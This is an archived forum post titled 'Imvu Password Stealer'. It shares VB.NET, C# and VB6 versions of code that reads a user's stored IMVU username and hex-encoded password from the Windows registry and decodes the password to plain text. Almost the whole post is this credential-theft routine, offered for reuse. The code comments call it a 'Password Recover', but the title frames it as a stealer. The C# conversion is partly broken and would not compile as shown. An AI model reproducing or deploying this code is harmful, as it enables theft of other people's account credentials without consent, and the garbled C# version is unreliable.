PDA

View Full Version : Imvu Password Stealer



sjebd
10-03-2009, 05:06 PM
Converted From VB6 To Vb.net / C# for you all :D
Creator : Skyweb07
Vb.net


'''''''''''''''''''''''''''''''''''''''''''''''''' ''
' Name : IMVU Password Recover '
' Creator : Skyweb07 '
' Email : skyweb09@hotmail.es '
' Date : 20 / 7 / 2009 - 10:35:00 '
' Usege : msgbox GETIMVU '
'''''''''''''''''''''''''''''''''''''''''''''''''' ''


Public Function GETIMVU() As String
Dim sUser, sPass As String ' // Some Variables
sUser = "HKEY_CURRENT_USER\Software\IMVU\username\" ' // Username REG Path
sPass = "HKEY_CURRENT_USER\Software\IMVU\password\" ' // Password REG Path
GETIMVU = "IMVU : " & vbNewLine & "Username : " & ReadKey(sUser) & vbNewLine & "Password : " & Hex2Ascii(ReadKey(sPass))
End Function

Function ReadKey(ByRef hKey As String) As Object ' // Function for Read REG Values
On Error GoTo Error_Renamed ' // If Error dont Display Error
Dim X As Object ' //
X = CreateObject("WScript.shell") ' // Create REG Object
ReadKey = X.regread(hKey) ' // Read The Key
Exit Function
Error_Renamed: ReadKey = vbNullString ' // If Error Readkey = ""
End Function

Public Function Hex2Ascii(ByVal Text As String) As String
Dim Value As Object
Dim num As Object
Dim i As Object ' // Simple Function for Pass Hex to Ascii
Value = Nothing
For i = 1 To Len(Text) ' Len of Encripted Text
num = Mid(Text, i, 2) ' // Go Chr by Chr
Value = Value & Chr(Val("&h" & num)) ' // Pass from Hex
i = i + 1 ' // +1
Next i ' Next Chr

Hex2Ascii = Value ' //
End Function
C# version


///''''''''''''''''''''''''''''''''''''''''''''''' ''
// Name : IMVU Password Recover '
// Creator : Skyweb07 '
// Email : skyweb09@hotmail.es '
// Date : 20 / 7 / 2009 - 10:35:00 '
// Usege : msgbox GETIMVU '
///''''''''''''''''''''''''''''''''''''''''''''''' ''


public string GETIMVU()
{
string sUser = null;
string sPass = null;
// // Some Variables
sUser = "HKEY_CURRENT_USER\\Software\\IMVU\\username\\ ";
// // Username REG Path
sPass = "HKEY_CURRENT_USER\\Software\\IMVU\\password\\ ";
// // Password REG Path
return "IMVU : " + Constants.vbNewLine + "Username : " + ReadKey(sUser) + Constants.vbNewLine + "Password : " + Hex2Ascii(ReadKey(sPass)) ;
}

public object ReadKey(ref string hKey)
{
// // Function for Read REG Values
// ERROR: Not supported in C#: OnErrorStatement

// // If Error dont Display Error
object X = null;
// //
X = Interaction.CreateObject("WScript.shell");
// // Create REG Object
ReadKey = X.regread(hKey);
// // Read The Key
return;
Error_Renamed:
// // If Error Readkey = ""
return Constants.vbNullString;
}

public string Hex2Ascii(string Text)
{
object Value = null;
object num = null;
object i = null;
// // Simple Function for Pass Hex to Ascii
Value = null;
for (i = 1; i <= Strings.Len(Text); i++) {
// Len of Encripted Text
num = Strings.Mid(Text, i, 2);
// // Go Chr by Chr
Value = Value + Strings.Chr(Conversion.Val("&h" + num));
// // Pass from Hex
// // +1
i = i + 1;
}
// Next Chr

// //
return Value;
}

Original Vb6 Code


'''''''''''''''''''''''''''''''''''''''''''''''''' ''
' Name : IMVU Password Recover '
' Creator : Skyweb07 '
' Email : skyweb09@hotmail.es '
' Date : 20 / 7 / 2009 - 10:35:00 '
' Usege : msgbox GETIMVU '
'''''''''''''''''''''''''''''''''''''''''''''''''' ''

Public Function GETIMVU() As String
Dim sUser As String, sPass As String ' // Some Variables
sUser = "HKEY_CURRENT_USER\Software\IMVU\username\" ' // Username REG Path
sPass = "HKEY_CURRENT_USER\Software\IMVU\password\" ' // Password REG Path
GETIMVU = "IMVU : " & vbNewLine & "Username : " & ReadKey(sUser) & vbNewLine & "Password : " & Hex2Ascii(ReadKey(sPass))
End Function

Function ReadKey(hKey As String) ' // Function for Read REG Values
On Error GoTo Error: ' // If Error dont Display Error
Dim X As Object ' //
Set X = CreateObject("WScript.shell") ' // Create REG Object
ReadKey = X.regread(hKey) ' // Read The Key
Exit Function
Error: ReadKey = vbNullString ' // If Error Readkey = ""
End Function

Public Function Hex2Ascii(ByVal Text As String) As String ' // Simple Function for Pass Hex to Ascii

For i = 1 To Len(Text) ' Len of Encripted Text
num = Mid(Text, i, 2) ' // Go Chr by Chr
Value = Value & Chr(Val("&h" & num)) ' // Pass from Hex
i = i + 1 ' // +1
Next i ' Next Chr

Hex2Ascii = Value ' //
End Function